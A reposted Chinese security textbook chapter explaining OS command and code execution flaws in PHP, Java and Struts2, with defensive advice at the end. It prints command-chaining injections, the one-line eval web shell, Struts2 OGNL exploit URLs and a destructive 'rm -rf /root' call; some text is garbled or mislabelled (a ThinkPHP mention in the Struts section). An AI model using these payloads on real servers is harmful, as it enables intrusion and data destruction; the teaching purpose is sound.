欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【第八章】命令执行漏洞

程序员文章站 2024-01-31 10:26:52
...

命令执行漏洞是指攻击者可以随意执行系统命令。它属于高危漏洞之一,也属于代码执行的范畴。

命令执行漏洞不仅存在于B/S架构中,在CS架构中也常常遇到,本章只讲述Web中的命令执行漏洞。

8.1 OS命令执行漏洞示例

部分Web应用程序提供了一些命令执行的操作,例如,Web应用程序DVWA (著名的渗透测试演练平台)提供了测试域/IP的Ping服务(命令执行漏洞测试模块),并将Ping命令的执行过程显示出来。下面测试域名www.百度.com是否可以正常连接。
【第八章】命令执行漏洞
程序开发人员通常认为这并没有什么问题,但事实却不是如此,千万不要忘记命令可以连接执行。

在Windows系统下,“&&”的作用是将两条命令连接起来执行,在Linux系统下同样适用。

另外,“&”、“||”“|”符号同样也可以作为命令连接符使用。例如:

net user ; set  # 先执行前面,再执行后面 
net user | set  # 先执行前面,再执行后面
net user || set  # 前面执行失败后再执行后面
net user & set  # 同时执行
net user && set  # 前面执行成功后才执行后面

在知道了系统命令可以连接执行后,如果Web应用程序没有过滤好输入,就变得相当危险,权限足够大的情况下,服务器可被攻击者直接攻陷。
【第八章】命令执行漏洞

继续测试DVWA提供的命令执行漏洞测试模块,输入“www.xxser.com && Command ”,系统将会执行输入的Command,这就是系统命令执行漏洞。

8.2 命令执行模型

任何脚本语言都可以调用操作系统命令,而各个脚本语言的实现方式都不一样,接下来将以PHP和Java两种程序语言为例分析。当程序开发人员明白了这些函数存在的问题后,才能真正做到安全开发。

很多人喜欢把代码执行漏洞称为命令执行漏洞,因为命令执行漏洞可以执行系统命令,代码执行漏洞也会执行系统命令,这样就容易混淆。其实两者比较好区分,它们之间的区别比较大,命令执行漏洞是直接调用操作系统命令,故这里叫作OS命令执行漏洞,而代码执行漏洞则是靠执行脚本代码调用操作系统命令,如:

eval(system('set'););

8.2.1 PHP命令执行

PHP 提供了部分函数用来执行外部应用程序,例如: system()、 shell_ exec)、 exec()和passthru()。

  • 实例一:命令执行
<?php
  $host = $argv[1];
  system("ping”. $host); //执行ping 命令

使用PHP.EXE 执行此文件,命令为:“php.exe cmd.php www.baidu.com”,PHP 将会调用系统ping命令,并将结果显示出来。攻击者则可能输入“php.exe cmd.php “|net user””。

注:使用PHP.EXE传递参数时,如果有空格,一般在Windows 下使用双引号(""), Linux 下使用单引号(’)括起来,否则将无法正常执行。

  • 实例二:代码执行

PHP 中提供了一个叫作eval() 的函数,相信大家对这个函数并不陌生,“中国菜刀”中的PHP 客户端就使用了这个函数:

<?php eval($_ POST['x'])?>

eval()函数可以把字符串按照PHP 代码来执行,换句话说,就是可以动态地执行PHP代码,使用eval() 函数需要注意的是:输入的字符串必须是合法的PHP代码,且必须以分号结尾。

CMD.PHP中存在以下代码:

<?php eval($_REQUEST['code'])?>

提交http://www.test.com/cmd.php?code=phpinfo 后就会执行系统命令(code=“系统命令”)。

在ASP.、ASP.NET 和Java 中,都有类似的函数或方法可以动态执行代码。

  • 实例三:动态函数调用

PHP 支持动态函数调用,代码如下:

<?php
  function A(){
    return "A()函数..";
  }
  function B(){
    return "B()函数..";
  }
  $fun = $_REQUEST['fun'];
  echo $fun();  //动态调用函数
?>

PHP 解析器可以根据$fun 的值来调用对应的函数,当变量$fun的值为“A”时,那么$fun()对应的函数为A(),虽然这样给开发带来了极大的便利,但却存在安全隐患,输入URL:

http://www.test.com/function.php?fun=phpinfo

当$fun 值为phpinfo 时,$fun() 所对应的函数即为phpinfo();。

可能有些读者会认为最多能执行一个phpinfo(),并没有太多影响,这样的想法是错误的。例如:程序员还想给函数传递参数,代码可能如下:

<?php
  $fun = $_GET['fun'];
  $par = $_GET['par'];
  $fun($par);  //执行函数,并且使用参数
?>

当用户提交URL为http://www.xxser.com/function.php?fun=system&par net user,最终的执行函数为: system(“net user”),这样你还认为程序是安全的吗?

  • 实例四:PHP函数代码执行漏洞

在PHP中,代码执行漏洞出现较多,像preg_replace()、ob_start()、array _map() 等函数都存在代码执行的问题,在此以array_map() 函数为例说明,代码如下:

<?php
  $arr = $_GET['arr'];
  $array = array(1,2,3,4,5);
  $new_array = array_map($arr, $array) ;
?>

array_map() 函数的作用是返回用户自定义函数处理后的数组,现在输入URL:
httpp://www.test.com/function.php?arr=phpinfo 后,发现phpinfo 代码也会被执行。

关于PHP更多的危险函数,读者可参阅《高级PHP应用程序漏洞审核技术》一书。

8.2.2 Java 命令执行

这里之所以叫作Java 命令执行,是因为Java 体系非常庞大,其中包括:Java SE、Java EE、Java ME。而无论是分支还是框架,都是以Java SE 为基础的。

Java EE 之前被称为J2EE,Java EE 是在Java SE 的基础上构建的,它提供Web服务、组件模型、管理和通信API,可以用来实现企业级的面向服务体系结构(service-oriented architecture,SOA)和Web 2.0应用程序开发。

在Java SE 中,存在Runtime 类,在该类中提供了exec 方法用以在单独的进程中执行指定的字符串命令。像JSP、Servlet、 Struts、 Spring、 Hibernate 等技术一般执行外部程序都会调用此方法(或者使用ProcessBuilder类,但较少)。下面以 Runtime类为例进行说明,模型代码如下:

import java. io.InputStream;  //导包操作
import java. io.InputStreamReader;
import java. io.BufferedReader;
public class RuntimeTest{
  public static void main (String args []) throws Exception{
    if (args.length==0) {
      System.exit(1);  //没有参数就退出
    }
    String command = args[0];
    Runtime run = Runtime.getRuntime();
    Process pro = run. exec(command);  //执行命令
    InputStreamReader in = new InputStreamReader(pro.getInputStream());
    BufferedReader buff = new BufferedReader(in);
    for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
      System.out.print1n(temp);  //输出结果
    }
  buff .close();
  in.close();
  }
}

上面的代码经过编译后可以执行命令操作,如: java RuntimeTest “Is -l”,进行列文件操作。如果程序开发人员没有正确地使用Runtime 类,就有可能造成Java 命令执行漏洞。像有名的Struts2 框架就存在命令执行漏洞,在稍后的章节中会讲述。

还有非常多的JSP 木马,也都会使用Runtime.getRuntime().exec()来执行系统命令。

8.3框架执行漏洞

至今,框架技术已经被广泛应用,越来越多的开发者喜欢使用框架。框架让开发变得更简单、更省时、更高效,甚至有些甲方公司在把项目交给乙方公司开发时,会明确要求乙方使用指定的框架技术,比如,有名的Java 三大框架(Hibernate、 Spring 和Struts )。

使用框架是好事还是坏事?对开发者来说是好的,但是一旦出现了安全漏洞,则是致命的。框架的用户群体越多,危害就越大。像之前Struts2 爆出的代码执行漏洞,就让国内的网站消失了一大批。

8.3.1 Struts2 代码执行漏洞

Struts 是一个优秀的MVC 框架,被称为Java 的三大框架之一,你可以想象使用Struts 的用户有多少,但Struts的第二个版本却爆发了多次致命的命令执行漏洞。所有使用Struts2开发的应用程序几乎都受到了影响。

Struts1 最初是独立的MVC 框架,但是Struts2 改写了Struts1 的核心技术,换了一个新的面貌,在底层采用了XWORK 的核心。

XWORK 也是一个MVC 框架,是Struts1 的强力竞争对手,Struts1 推广业务做得好,用户量要比XWORK 多许多,但是从技术角度看、框架结构却没有XWORK 做得好,而Strdent2 是
在Struts1 和XWORK 技术基础上进行了合并,Struts2 与Struts1可以说相差非常大,算是一个全新的框架。

Struts2 的每个版本都有相应的漏洞补丁,可以在其官方网站http://trutsapachec.org/看到。其中有几个比较知名的高危漏洞都是Struts2 的代码执行漏洞。

在2010年7月初,exploit-db 网站爆出了一个Struts2 的命令执行漏洞,漏洞名称为:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability,下 面是关于Struts2命令执行的简单介绍。

Struts2 的核心是使用的webwork(XWORK的核心)框架,处理action 时通过调用底层Java Bean 的gter/setter 方法来处理http 参数,它将每个http 参数声明为一个ONGL 语句。当我们提交如下http 参数时:

?user.address.city=bj&user['name']=admin

ONGL将它转换为:

0bj.getUser().getAddress().setCity="bj";
0bj.getUser().setName= "admin";

这个过程就是用ParametersInterceptor 拦截器调用ValueStack.setValue() 来完成的,并且其参数是可控的。

XWORK 也有自己的保护机制,比如,为了防范篡改服务器端对象,XWork 的ParametersInterceptor 拦截器不允许参数名中出现“#”字符,但如果使用了Java 的unicode 字符串表示 (\u0023),攻击者就可以绕过保护:

?('\u0023_memberAccess[\'allowStaticMethodAccess\']') (meh) =true& (aaa) (('\u0023context[\ 'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo') (\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

转义后的值如下:

?('#_memberAccess[\'allowStaticMethodAccess\']') (meh) =true& (aaa) (('#context[\ 'xwork.MethodAccessor.denyMethodExecution\']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt\aaa@qq.com@getRuntime()))=1

OGNL 处理时最终的结果就是:

java.lang.Runtime.getRuntime().exit(1);

类似的可以执行如下语句:

java.lang.Runtime.getRuntime().exec("net user");
java.lang.Runtime.getRuntime().exec("rm -rf /root");

这就是Struts2<2.2.0的命令执行漏洞,让国内外的一些金融、教育、电子商城网站“死”了一大批,罪魁祸首并不是网站自身的漏洞,而是Struts2。

Struts2 在漏洞处理方面是比较及时的,但从漏洞修复来说,却没有完全处理完毕,Struts2 只修复表面的漏洞,核心问题并没有完全解决,所以导致了后续一系列的执行漏洞。比如:<URL>、<a> 标签的执行漏洞,这些执行漏洞只有在使用该标签时才会引发。

在2013年6月, Struts2又大规模地爆发了执行漏洞,这次漏洞出现在DefaultActionMapper 类中,影响版本为: Struts 2.0.0~Struts 2.3.15。

一个简单的代码执行语句如下:

http://host/struts2-blank/example/X.action?action:%25{3*4}

访问以上URL,Struts2 将会执行34 表达式,如果将34 表达式换成以下语句,则会形成
致命的代码执行漏洞:

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

目前ThinkPHP 已经修补了此漏洞。

8.4防范命令执行漏洞

了解了代码的执行原理后,对其防范就比较简单了,根据语言的相似点,可以得到以下总结。

  • 尽量不要使用系统执行命令;
  • 在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符进行转义;
  • 在使用动态函数之前,确保使用的函数是指定的函数之一;
  • 对PHP语言来说,不能完全控制的危险函数最好不要使用。

在进行防范之前,确保输入是否可控,如果外部不可输入,代码只有程序开发人员可以控制,这样,即使你写的代码漏洞百出,也不会有危害。这一点适用于所有的安全漏洞防范。当然,并不建议你这么做,隐藏起来并不是真的安全,要永远假定攻击者知晓系统内情,这样才能真正做到代码阶段的漏洞防范。

相对来说,只要输入可控,就可能存在安全漏洞,这也验证了一句老话:有输入的地方就有可能存在漏洞!